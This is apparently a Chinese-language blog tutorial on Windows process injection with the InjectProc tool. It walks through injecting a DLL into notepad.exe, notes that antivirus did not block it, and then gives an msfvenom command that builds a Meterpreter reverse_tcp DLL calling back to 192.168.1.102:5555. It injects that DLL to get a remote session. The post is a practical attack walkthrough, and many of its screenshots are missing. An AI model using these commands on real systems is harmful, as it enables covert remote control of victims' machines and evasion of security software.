enter description here

视频演示:

InjectProc

流程注入是一种非常受欢迎的方法来隐藏代码的恶意行为,并被恶意软件作者大量使用。

有几种技术,通常使用:DLL注入,过程替换(也称为工艺空心),钩注射和APC注射。

大多数使用相同的Windows API函数:OpenProcess,VirtualAllocEx,WriteProcessMemory,有关这些功能的详细信息,请使用MSDN。
 

DLL注入:

打开目标进程。
分配空间
将代码写入远程进程。
执行远程代码。
 
具体可以看看github内容介绍。
 
enter description here
 
我看了大牛的视频自己学着模仿了一下
使用的InjectProc.exe在cmd运行
enter description here
 
这位大牛在视频中演示四个部分 ,我自己也尝试了模仿了其中的一段,觉得不错,我将自己经验分享给各位。
首先我使用的是—— InjectProc.exe dll_inj path/to/dll.dll notepad.exe
 
首先下载到我的桌面,https://github.com/secrary/InjectProc ,和下载InjectProc.exe,是那位大牛制作完成的。
 
enter description here
 
enter description here
 

0x01

首先打开我们的cmd 进入 InjectProc 目录当中,我们可以看到的目录。
 
enter description here
 
我们运行InjectProc.exe,并且使用dll_inj 参数,加上xxx.dll的路径 ,加上要注入的进程
InjectProc.exe dll_inj path/to/dll.dll notepad.exe。
在这里我们使用InjectProc\test_files目录中的enter description here,并且我们随机打开一个进程如记事本进程。
使用以下命令:得到 mbox.exe—-InjectProc弹框。并杀软未拦截的情况
 
enter description here
 

0x02

那么我们可以想到前阵子NSA 的工具包 使用msf生成的dll,得到会话。那么我们可以做下以下实验。
首先我们使用msfvenom 生成dll

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.102 LPORT=5555 -f dll >demon.dll

 
enter description here
 
以及打开我们的msf开启监听
enter description here
 
那么我们将生成好的dll 丢到InjectProc目录中的随便一个文件中,比如我丢到InjectProc\test_files中enter description here
 
使用以下命令,并且打开记事本。
 
enter description here
 
得到最终会话
enter description here
 
 
 
视频资料:https://www.youtube.com/watch?v=GT9nBuXatmU InjectProc | Process Injection Techniques | Malware
https://www.pinterest.com/penetrationtesting/
https://github.com/secrary/InjectProc github